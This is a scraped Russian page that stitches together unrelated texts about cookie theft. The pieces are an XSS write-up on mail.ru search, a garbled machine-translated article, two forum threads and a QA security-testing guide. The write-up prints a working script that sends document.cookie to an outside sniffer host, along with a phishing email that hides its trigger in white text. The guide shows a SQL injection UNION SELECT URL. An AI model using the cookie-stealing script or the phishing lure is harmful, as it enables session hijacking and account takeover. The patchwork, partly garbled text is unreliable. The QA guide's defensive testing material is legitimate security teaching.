что делать если у вас украли куки
Уводим чужие cookies c mail.ru
Не так давно прочитал на Хабре пост, в котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа XSS. После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.
В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…
На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.
Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.
На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.
Дальше я занялся ссылкой, которая запустит поиск. Отследил закономерность в адресной строке, по которой выполняется поиск:
Примерно такую ссылку и будем отправлять в письме. Так как наша задача забрать себе чужие cookies, нам понадобится сниффер. Был написан скрипт sniff.php и залит на сторонний хостинг. Код сниффера такой:
Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:
img=new Image();
img.src=’http://sitename.ru/sniff.php?cookie=’+document.cookie;
function F() <
location=’http://www.solife.ru’;
>
setTimeout(F, 5000);
Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:
Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:
Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.
Ссылку для поиска использовал следующую:
Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».
Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.
Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.
Проверяю свой файл sniff.txt:
Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.
Хотелось бы поблагодарить Сергея Белова (BeLove), за его познавательное мероприятие Open InfoSec Days, которое вдохновило меня на поиски уязвимостей на сайтах.
Что такое кража файлов cookie и предотвращение киберпреступников от их кражи
Когда мы просматриваем Интернет, существует множество угроз, которые могут поставить под угрозу наше оборудование. Каждый раз, когда мы посещаем веб-сайт, на нашем компьютере создается небольшой файл, называемый «cookie». Файлы cookie, запоминая историю пользователей и другую дополнительную информацию, помогают веб-сайтам улучшать свои продукты и услуги. Киберпреступники, благодаря дополнительной информации, хранящейся в файлах cookie, такой как логин учетной записи и т. Д., Могут получать прибыль. По этой причине кража файлов cookie представляет ценность для хакеров.
Что такое печенье и для чего оно используется?
Мы могли бы определить cookie в виде файла с информацией, отправленной веб-сайтом, которая сохраняется в нашем браузере. Цель состоит в том, чтобы веб-сайт мог просмотреть предыдущее действие и указать, среди прочего, что пользователь уже посещал его ранее.
Файлы cookie также отслеживают поведение пользователей Интернета, что помогает компаниям показывать нам более персонализированную рекламу.
Кроме того, все файлы cookie на веб-странице хранят информацию о своих пользователях в виде хеш-данных. С момента хеширования данные могут быть прочитаны только с исходного сайта. Это происходит потому, что веб-страница использует уникальный алгоритм для кодирования и декодирования хеш-данных. Если злоумышленник знал алгоритм хеширования этого веб-сайта, с этого момента данные этого пользователя могут быть скомпрометированы.
Что такое кража файлов cookie
С другой стороны, вариант, который мы могли бы рассмотреть, чтобы избежать кражи файлов cookie, заключается в том, что наш браузер блокирует все файлы cookie. В случае, если вы собираетесь перемещаться, это может быть просто вариант для рассмотрения. Однако, если мы хотим использовать такие услуги, как электронная почта, участвовать в форумах и т. Д., Нам потребуется использовать файлы cookie. Поэтому в большинстве ситуаций, чтобы иметь возможность использовать все, чтобы получить комфорт и сохранить наши предпочтения, у нас не будет другого выбора, кроме как использовать файлы cookie.
Процедуры и методы кражи файлов cookie и перехвата сеансов
У злоумышленника есть много способов украсть файлы cookie или перехватить сеансы пользователя. Далее мы собираемся прокомментировать некоторые из наиболее часто используемых процедур. Начнем с тех, что связаны с логином.
Освободи Себя Фиксация сессии атака или фиксация сеанса это разновидность попытки фишинга. В этой процедуре злоумышленник отправляет вредоносную ссылку целевому пользователю путем e-mail. Затем в тот момент, когда пользователь войдет в свою учетную запись, щелкнув эту ссылку, хакер узнает идентификатор сеанса пользователя. Затем, когда жертва успешно входит в систему, хакер берет на себя сеанс и уже имеет доступ к учетной записи.
Чем полезны файлы cookie для киберпреступников?
Могут ли пользователи предотвратить кражу файлов cookie?
Что касается веб-страниц, рекомендуется, чтобы на них был установлен сертификат SSL и дополнительные средства безопасности. К этому следует добавить, что веб-сайт необходимо поддерживать в актуальном состоянии. Наконец, что касается пользователей Интернета, мы можем предпринять следующие меры, чтобы не стать жертвами кражи файлов cookie:
Как вы видели, кражу файлов cookie довольно часто можно перехватить, но ее также следует избегать, поэтому мы всегда рекомендуем закрыть раздел.
Украли cookie файлы Google Chrome
Не могу скачивать файлы из интернета Google Chrome
Кликая на любой файл что бы скачать переходя по ссылке браузер блокирует его.
Запуская Google Chrome открывается Google Chrome, но со значком IE
Здравствуйте! Абсолютно идентичная ситуация, как в теме.
Запуская Google Chrome открывается Google Chrome, но со значком IE
Открываю браузер Google Chrome, а вместо его традиционного значка у меня отображается значок от.
Вирус google.ga в браузере Google Chrome и Internet Explorer (редирект на google.ga, всплывающая реклама)
Добрый день. Столкнулась с большой проблемой и буду очень благодарна за помощь. Не знаю, каким.
Вложения
CollectionLog-2016.07.13-13.14.zip (63.0 Кб, 1 просмотров) |
Слова Suspicious и Gen указывают на то, что это подозрительные файлы (не обязательно вредоносные).
Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.
Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Отметьте галочками также «Shortcut.txt».
Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt, Shortcut.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
(Если не помещаются, упакуйте).
Подробнее читайте в этом руководстве.
Вложения
Файлыfrst.zip (24.3 Кб, 2 просмотров) |
Вложения
Fixlog.txt (1.7 Кб, 2 просмотров) |
Вложения
AdwCleaner[S1].txt (1.1 Кб, 2 просмотров) |
Вложения
AdwCleaner[C1].txt (1.4 Кб, 2 просмотров) |
Чуть шустрее стал работать ПК и брузер
Добавлено через 31 секунду
Что то было на ПК? Проблема решена?
Мелкие проблемы, вызванные действиями адвари.
Страх о потере данных остался. Я переустановил полностью систему и после этого антивирус нашел 8 вирусов. На чистой системе. Это ввергло меня в панику.
Добавлено через 6 минут
Есть ли какие то программы по защите данных? Которые могут помешать украсть куки или будут блокировать скачку не заметных файлов и отправку данных на хостинг.
К тому же у Симантека высокий показатель ложного срабатывания.
Срочно! Украли куки! Что делать?
07 Jun 2018 в 22:29
07 Jun 2018 в 22:29 #1
набрел на кекнутый пост на дваче
в посте говорят что там воруют куки конечно я даун по инерции нажал (на показать текст полностью)
просьба срочно отпистаь че со мной может быть и как фиксить
07 Jun 2018 в 22:32 #2
Менять пароли. Могут зайти на сайты к которым куки привязаны. Не похоже на XSS инъекцию, так что куки украли со всего браузер
07 Jun 2018 в 22:45 #3
дк хук прячь или переноси на другой акк, пока не своровали
07 Jun 2018 в 22:48 #4
у меня после того как украли хуки техподдержка не одала назад, но ты все равно напиши может тебе вернут.
07 Jun 2018 в 22:53 #5
Менять пароли. Могут зайти на сайты к которым куки привязаны. Не похоже на XSS инъекцию, так что куки украли со всего браузер
там вроде появлялось сообщение отдать куке я нажимал *нет* я спасен?
07 Jun 2018 в 22:57 #6
07 Jun 2018 в 23:01 #7
Там если запрос на разрешение в хроме не выскочило, то ничего не украдут лол, я думал на это ведутся только дети
07 Jun 2018 в 23:02 #8
Там если запрос на разрешение в хроме не выскочило, то ничего не украдут лол, я думал на это ведутся только дети
то есть тот чел сам себе в треде отписывает что это пипец опасно?
07 Jun 2018 в 23:02 #9
07 Jun 2018 в 23:02 #10
а как то узнать че это было можно?
07 Jun 2018 в 23:04 #11
то есть тот чел сам себе в треде отписывает что это пипец опасно?
Я не говорю что украсть не могут, просто в хроме уже давно есть все эти защиты, так что бояться нечего если ты не довн офк
07 Jun 2018 в 23:05 #12
Я не говорю что украсть не могут, просто в хроме уже давно есть все эти защиты, так что бояться нечего если ты не довн офк
07 Jun 2018 в 23:08 #13
а как то узнать че это было можно?
Самое страшное если воруют кукисы это сессии. Они как правило обновляются либо каждые 24 часа, либо каждый раз когда ты меняешь пароль
07 Jun 2018 в 23:08 #14
набрел на кекнутый пост на дваче
в посте говорят что там воруют куки конечно я даун по инерции нажал (на показать текст полностью)
просьба срочно отпистаь че со мной может быть и как фиксить
Ничего не будет, никто твои куки не крал, это просто тег для ссылки электронной почты.
«Осторожно, печеньки!»: советы начинающим тестировщикам в сфере безопасности
Привет, меня зовут Вика Бегенчева, я QA-инженер в Redmadrobot. Я расскажу, как злоумышленники крадут наши данные, и что можно сделать, чтобы от этого защититься.
Термин «тестирование безопасности» звучит довольно серьёзно. Многие боятся погружаться в эту тему, думая, что их ждут непроходимые дебри из непонятных слов, сложной литературы и загадочных аббревиатур. Я разберу основы тестирования безопасности и вы убедитесь, что на самом деле это просто и интересно.
Статья написана для начинающих тестировщиков безопасности и тех, кому непонятно, что за «фрукты» эти хакеры и чем они там занимаются. Мы рассмотрим примеры самых частых уязвимостей и постараемся разобраться, как грамотно проверить проект на слабые места и сформировать у себя образ мышления, который в дальнейшем станет вашим верным помощником в тестировании.
Что хранят cookie
Допустим, мы зашли на сайт интернет-магазина ошейников для собак и выбрали французский язык (почему бы и нет). Добавили в корзину пару шлеек и поводок. Что будет, если мы закроем вкладку и зайдём на сайт снова? Всё останется прежним: интерфейс на французском и три товара в корзине. Магия? Нет, cookie.
Cookie — один из инструментов, который формирует так называемый фингерпринт каждого пользователя в сети. Его можно сравнить с «отпечатком пальца», по которому можно узнать, что за человек покупает ошейник для собаки.
На вашем устройстве есть текстовый файл, в котором содержится различная информация о пользователе для каждого сайта — cookie. Она хранится для разных целей, в том числе и для удобства пользования сайтом. Cookie бывают временные (cookie-сессии) и постоянные. Давайте взглянем на них поближе.
Открываем панель разработчика в Chrome и переходим на рандомную статью на «Хабре». Во вкладке Network находим первый запрос, и в хедерах видим как проставляются cookie:
«Хабр» в Chrome
И в респонсе (ответе) видим cookie:
Set-Cookie: fl=ru; expires=Fri, 25-Feb-2022 08:33:31 GMT; Max-Age=31536000; path=/
Тут уже работает логика и Google (если очень нужно): cookie типа fl=ru (параметр, вероятно, отвечающий за язык) или те, которые хранят товары в корзине — постоянные cookie. Они не меняются, если пользователь их не трогает. Нас же интересуют временные или сессионные cookie. Они хранят информацию, которая помогает сайту понять, что это всё тот же пользователь в текущей сессии.
Например, при авторизации на сайте, в файл cookie проставляется условный session_id — уникальный идентификатор сессии на данный момент времени, к которому привязаны текущий браузер и пользователь.
Когда мы совершаем действия, доступные только этому пользователю, мы отправляем в хедер запроса (заголовок запроса, в него передаётся способ общения с сервером) и данные, которые локально сохранили в cookie, чтоб подтвердить, что это мы, а не условный программист из Финляндии. Временные cookie имеют срок годности и стираются в конце сессии, или становятся неактуальными с течением времени.
Как понять, что ваши данные в опасности
Если хакеру удастся угнать cookie пользователя, то он сможет действовать от его лица или же просто получит конфиденциальную информацию юзера. Как узнать, всё ли впорядке?
Во-первых, нужно проверить, не хранятся ли пароли от сайтов в cookie. Удивительно, но в 2021 году до сих пор существуют сайты, которые это делают. Информация о сессиях должна иметь ограничения — быть временной или заменяться с каждой новой сессией.
Во-вторых, нужно проверить, чтобы все конфиденциальные cookie были с флагом httpOnly и secure.
Cookie с флагом “secure” передаются на сервер только по протоколу HTTPS. Как правило, в этом случае есть сертификат SSL или TLS. Cookie с флагом “httpOnly” защищены от манипуляции JavaScript через документ, где хранятся cookie.
Открываем в Chrome «инструменты разработчика» и переходим во вкладку Application.
Проверяем, не хранятся ли пароли в LocalStorage в этом же разделе «инструментов разработчика».
Теперь рассмотрим сценарии кражи пользовательских данных и как от них защититься.
HTTP и HTTPS
Гуляя по сайтам мы до сих пор встречаем предупреждения браузеров о «незащищённом соединении». Иногда строгий браузер вообще не пускает нас на сайт, потому что не хочет нести за него ответственность. А чего он боится?
А боится он протокола HTTP — он древний и небезопасный. Все современные сайты общаются по протоколу HTTPS и вот их браузер любит. Разница между HTTP и HTTPS всего в одной букве, но эта буква означает много — «Secure». Безопасность передачи данных — главный приоритет современных браузеров.
Сайты, которые общаются с сервером по протоколу HTTPS, используют сертификат TLS (его предшественник — SSL). Такой сертификат может защищать как один домен, так и группу поддоменов.
Вернёмся в магазин — мы решили всё-таки купить ошейник своей собаке. Переходим в корзину, вводим данные банковской карты для оплаты, нажимаем на большую кнопку «Оплатить» и наши данные улетают на сервер для обработки запроса. Допустим, злоумышленники решили перехватить данные нашей банковской карты в момент отправки запроса.
Если сайт общается по протоколу HTTPS, то между магазином и сервером построен безопасный «мост». SSL-сертификат позволяет шифровать данные нашей карты и преобразует их в нечитаемый набор символов.
На этом моменте все хакеры мира грустят, потому что они знают, что расшифровать данные может только сервер. На нём есть ключ дешифратор, который поможет понять, какие данные мы ввели на сайте и правильно их обработать.
Чтобы защититься от кражи данных, убедитесь:
Что сайт общается через HTTPS, а не через HTTP.
Есть редирект с http:// на https:// — злоумышленник может разместить ссылку с http://, тогда данные можно будет угнать. Редирект насильно переводит пользователя на https:// ради его же блага. И все счастливы.
Brute force атаки
Допустим, в нашем любимом магазине ошейников для питомцев есть админка. Владелец сайта решил оставить ссылку админки по адресу “https:// […].com/admin”. Злоумышленник переходит по этому адресу и его ждёт страница входа в панель администратора. Допустим, наш хакер вводит логин «admin», а пароль подбирает с помощью скрипта, который сам будет перебирать пароли.
Если логин верный, то узнать пароль дело нескольких часов. Запустил скрипт на ночь, лёг спать, а утром уже есть доступ к панели администратора. Такой перебор и есть brute force атака.
Защититься от взлома можно несколькими способами (про авторизацию/аутентификацию и oauth2 мы поговорим ниже). Но, если речь идёт о brute force атаке, то простейшая защита тут — установка лимита на попытки ввода пароля.
Лимиты устанавливают в зависимости от специфики продукта и решения проектной команды:
ограниченное число попыток в единицу времени;
ограниченное число попыток с последующей блокировкой функционала (например, с восстановлением доступа через почту когда попытки закончились);
установление тайм-аута после n попыток ввода.
Естественно, это не избавит от всех проблем, но сильно усложнит жизнь злоумышленнику.
Токены и сессии
Давайте представим, что мы захотели вступить в тайный клуб любителей настольных игр. Туда просто так не попасть. Сначала нужно доказать, что мы подходим на роль члена клуба — любим настолки.
Итак, в клубе знают наше имя и фамилию, мы доказали, что любим игры, и теперь нам выдадут специальный пропуск, по которому мы сможем проходить в здание закрытого клуба. Теперь не нужно каждый раз доказывать, что мы — это мы. У нас есть волшебный ключ-пропуск, который открывает двери тайного клуба.
А что будет, если наш пропуск-ключ украдут? По нему просто войдут в здание и узнают все секреты закрытого клуба. Токены сессии — это ключи к ресурсам нашего сайта. Когда мы логинимся на сайте, мы отправляем запрос на авторизацию/аутентификацию пользователя. На сервере проверяются его права и генерируется токен.
Access-token определяет права пользователя и доступность ресурсов для него. Выглядит он как длинный набор символов. Можно сказать, что токен — тот самый пропуск, который нам выдали в нашем тайном клубе.
При каждом следующем обращении к ресурсам теперь нам не нужно вводить логин и пароль, чтоб доказать, что мы имеем право на доступ. Просто в каждым запросе на ограниченный ресурс отправляем наш пропуск — access-token.
Хорошей и частой практикой является использование время жизни токена. После логина и формирования access-токена, фиксируется время жизни – дата, до которой токен считается действительным. Это как абонемент на месяц в тайный клуб.
На разных ресурсах, требования ко времени жизни токена разные. На одном сайте токен живёт год, а на другом — всего лишь час. После того как срок действия токена истечёт, система попросит пользователя снова авторизоваться. Чтобы не вводить всё время логин и пароль после истечения access-токена, придумали refresh-токен.
У refresh-токена только одна цель — обновлять access-токен. Это работает так:
отправляем запрос на закрытый ресурс с истекшим аксесс-токеном;
сервер возвращает ошибку о «протухшем» токене;
клиент видит эту ошибку и сразу формирует запрос на обновление аксесс-токена;
в хедеры этого запроса проставляется значение рефреш-токена;
сервер сверяет рефреш-токен с базой данных, формирует новый аксесс-токен и отправляет его обратно на клиент;
клиент автоматически повторяет запрос на закрытый ресурс уже с новым аксесс-токеном.
Готово! А пользователи сайта даже ничего не увидели и не поняли. Как этим пользуются хакеры?
Access- и refresh-токены – это токены сессии. Если злоумышленнику удастся перехватить их, то он докажет, что он — это мы, просто подставив в запрос. Он получит доступ к нашим ресурсам и сможет совершать действия от нашего имени.
Чтобы защититься, нужно:
проверить, что токены сессии не хранятся в файлах Cookie или LocalStorage;
убедиться, что все запросы с токенами передаются по зашифрованному HTTPS;
проверить, что нет доступа к ресурсу без предъявления токена — отправить запрос без токена;
проверить, что нет доступа с чужим токеном, а также проверить запросы с несуществующим токеном;
проверить запросы с истекшим токеном;
поменять в базе данных вручную время жизни токена (продлить/просрочить);
удалить access-token токен из базы данных и отправить запрос.
Авторизация и аутентификация
Чтобы обеспечить безопасность системе и разрешить взаимодействовать с ней разным ролям пользователей (админы, модераторы и т.д.), важно понимать различия между авторизацией и аутентификацией.
Аутентификация — это проверка на соответствие заявленного имени пользователя (паспорта) с идентификатором в системе (Лаврентий Куашников). Авторизация — это предоставление нам прав в соответствии с нашей ролью в системе (отдельная комната для спикера).
Вернёмся к примеру с админкой нашего магазина ошейников. Снова переходим по адресу админки и нас ждёт страница с вводом логина и пароля. Логин — это идентификатор пользователя в системе. Пароль — это доказательство пользователя, что он — это он (ведь только он может знать пароль).
Когда в запросе мы отправляем эти данные, сервер проверяет их на соответствие — это аутентификация. Если аутентификация прошла успешно, то сервер смотрит в базе данных на нашу роль в системе и какие возможности у нас есть — это авторизация.
В разных сервисах авторизация и аутентификация могут проходить как одновременно, так и по отдельности. В первом случае при входе в админку у нас проверяется сразу как пароль, так и разрешение на переход в панель управления сайтом. Во втором случае авторизация проходит тогда, когда уже аутентифицированный пользователь пытается что-то изменить в системе.
А ещё наш сервер умный, и он знает, как реагировать на ошибки авторизации/аутентификации. У него есть два кода ошибок:
401 — если логин/пароль не совпадают или если для доступа к ресурсу нужна аутентификация;
403 — когда сервер понял, что за юзер к нему ломится, но отказывает ему в доступе.
Если хакер доказал, что он — это мы, то система примет его с распростертыми объятиями. Злоумышленник получит доступ к информации и действиям, доступным только нам.
Самый простой способ помочь хакеру пройти авторизацию в системе — передать логин и пароль в запросе в незашифрованном виде. Ну и хранить информацию в cookie, конечно. Но мы не хотим помогать хакерам. Так что делать?
Есть ряд проверок, которые снижают вероятность взлома:
проверьте, что пароли авторизации не хранятся в cookie. Токены – хранятся только в httpOnly куках;
все запросы, где используется авторизация, передаются по зашифрованному соединению https.
Также проверьте пользовательский доступ к ресурсам с кэшем страницы:
Авторизуйтесь в системе.
Откройте ту же страницу в соседней вкладке, при этом пользователь должен быть авторизован.
Разлогиньтесь из второй вкладки.
Вернитесь на первую вкладку (кэш сайта покажет, что вы ещё в системе).
Попробуйте перейти на страницу с ограниченным доступом из первой вкладки, например, в личный кабинет.
Доступ должен быть запрещён. То же самое проделайте при условии, что вы не просто вышли во второй вкладке, а зашли под другой учётной записью.
Проверьте также время жизни токенов в системе. Можно попросить разработчика поменять время жизни на 3 минуты, вместо 7 дней. Также можно попросить поменять время сервера. Но время жизни токена в любом случае должно быть ограничено.
Отправьте запрос без хедеров авторизации.
Отправьте запрос с чужими значениями параметров авторизации.
Проверьте запрос с истекшим токеном или с тем же токеном после логаута (после логаута токен должен стать недействительным).
Проверьте, чтобы логин/пароль не передавались в параметрах запроса. Пример, как не нужно передавать логин/пароль в параметрах http запроса: “http://site.ru/page.php?login=testqa&password=12345678”.
Так же в некоторых системах с повышенными требованиями к безопасности можно применять дополнительные опциональные проверки. Первое, что мы можем сделать, так это можно проверить авторизацию при смене пароля:
Авторизуйтесь в системе в одном браузере.
Авторизуйтесь в системе в другом браузере (или во вкладке «инкогнито»).
Смените пароль в системе через первый браузер.
Проверьте доступ к ресурсам на втором браузере.
Тут мы проверяем, достаточно ли системе только сохранённых данных в cookie. При смене пароля все токены должны быть недействительными.
Второе: можно проверить наличие и работоспособность функции «Выход со всех устройств». При этом запросе мы говорим серверу, что аннулируем все действительные токены, кроме текущего.
Третье: проверьте наличие постоянного тайм-аута сессии (Session-Timeout), они бывают нескольких видов. Наличие постоянного тайм-аута запрещает доступ к ресурсу через n минут после авторизации. Наличие динамического тайм-аута запрещает доступ к ресурсу через n минут после последнего запроса. Другими словами, динамический тай-маут закрывает доступ из-за вашего бездействия в системе.
И напоследок, не забудьте проверить, доступна ли двухфакторная аутентификация на сайте.
Двухфакторная аутентификация
Если в вашей входной двери есть замок только одного типа, то грабителю нужна только одна отмычка (отмычка одного типа). Если же у вас есть ещё и дополнительная защита (цепочка, навесной замок, собака), то грабителю будет сложнее вас ограбить. Скорее всего он передумает.
Так работает и двухфакторная аутентификация. У нас есть основной замок — логин и пароль. И у нас есть второй тип защиты — чаще всего это код, приходящий по SMS, электронной почте или отображаемый в программе двухфакторной аутентификации (например, в Google Authenticator).
Ещё неплохой практикой является использование на сайте протокола oAuth2. Простыми словами, oAuth2 — это когда мы авторизуемся в одном сервисе с помощью другого. Например, когда регистрируемся/логинимся на сайте с помощью Gmail.
Схема примера работы oAuth2
SQL-инъекции кода
Давайте немного углубимся через ещё одну аналогию. Допустим, мы работаем официантом в элитном ресторане. Гости периодически просят изменить состав блюд. Официант отмечает, какие изменения внести в меню.
Недобросовестный официант анализирует и понимает, что на кухне не раздумывая выполняют любой запрос. Поэтому можно внести свои собственные изменения в заказ и повара безоговорочно приготовят блюдо. И он пишет на очередном рецепте:
«ДОБАВИТЬ перец И УБРАТЬ сахар».
Вот и всё. Пранк удался. Но мы на стороне добра, так что вместо того, чтобы заменять заказ, мы проверим, как на кухне умеют фильтровать изменения. Как этим пользуются хакеры? SQL injection — это намеренное внесение в базу данных извне. В нашем примере, кухня — это база данных. SQL-запросы — заказы от официантов.
Схема заражения
Если у базы данных нет фильтрации запросов, то злоумышленник может манипулировать данными: получать данные пользователей (в том числе логин и пароль), размещать файлы, заменять значения. Как же злоумышленник может отправлять такие запросы? Это можно сделать через параметры HTTP, добавив в адресной строке параметры:
“http://some.site.ru/test/index.php?name=1′ UNION SELECT 1,2,3,4,5 —+ &password=1234”
Не углубляясь в то, как мы можем сами попробовать хакнуть свою базу данных, разберёмся в причинах уязвимости и посмотрим, как можно защититься.
Во-первых, в запросе должно быть экранирование спецсимволов — игнорирование исполняемым кодом спецсимволов, которые используются в синтаксисе языка программирования. Если один из спецсимволов пропал, то сервер воспринимает его, как часть команды — уязвимость есть.
Во-вторых, проверяем, чтобы при намерено кривом запросе не выводились ошибки, через которые можно сделать выводы о составе базы данных. Например, ошибка “Unknown column ‘4’ in ‘order clause’” говорит о том, что данные из таблицы выбираются по трём колонкам или меньше.
Сегодня существует множество фреймворков и библиотек, которые предоставляют защиту от SQL-инъекций. Например, библиотека node-mysql для node.js.
XSS расшифровывается как “Cross-Site Scripting”. Эта уязвимость входит в список OWASP TOP-10. Её смысл в том, что злоумышленник принудительно внедряет JavaScript-код через инпут на сайте: в поле ввода «пушит» код, который сохраняется на странице. Впредь он будет исполняться каждый раз при вызове страницы. Это происходит потому, что на сайте отсутствует экранирование спец символов.
У хакера много вариантов воспользоваться этой уязвимостью: от отображения алерта (всплывающего окна) с рекламой до кражи cookie и редиректа на сайт-зеркало.
Не забывайте, что проверять наличие уязвимостей на чужом сайте по законодательству РФ (и многих других стран) запрещено. Это воспринимается, как попытка намеренного причинение вреда сайту. И что тогда делать?
После этого вводим в инпуты строку:
Это универсальная проверка сразу на несколько кейсов. Если часть символов исчезла (например, в поле поиска) или не записалась в БД (если это поле имени пользователя при регистрации, например), то уязвимость есть. Все символы не должны восприниматься, как часть исполняемого поля. Если часть символов исчезла (например, в поле поиска) или не записалась в БД (если это поле имени пользователя при регистрации, например), то уязвимость есть. Все символы не должны восприниматься, как часть исполняемого поля.
В конце вводим скрипт или спецсимволы в окно фронтенда — вставляем прям в код сайта через dev tools в браузере.
Напутствие
Мы рассмотрели лишь несколько уязвимостей из множества существующих. Но это поможет войти в прекрасный мир тестирования безопасности. Чтобы ничего не забыть, мы с железными тестировщиками подготовили чеклист.
Думай, как хакер! Пытайся получить выгоду или навредить. Но только на своём проекте. Следи за новостями безопасности. Смотри реестр уязвимостей, читай статьи, которые пишут фирмы по обеспечению безопасности и мониторь новости про утечки данных. Обязательно пытайся разобраться в сути. И будь на стороне добра!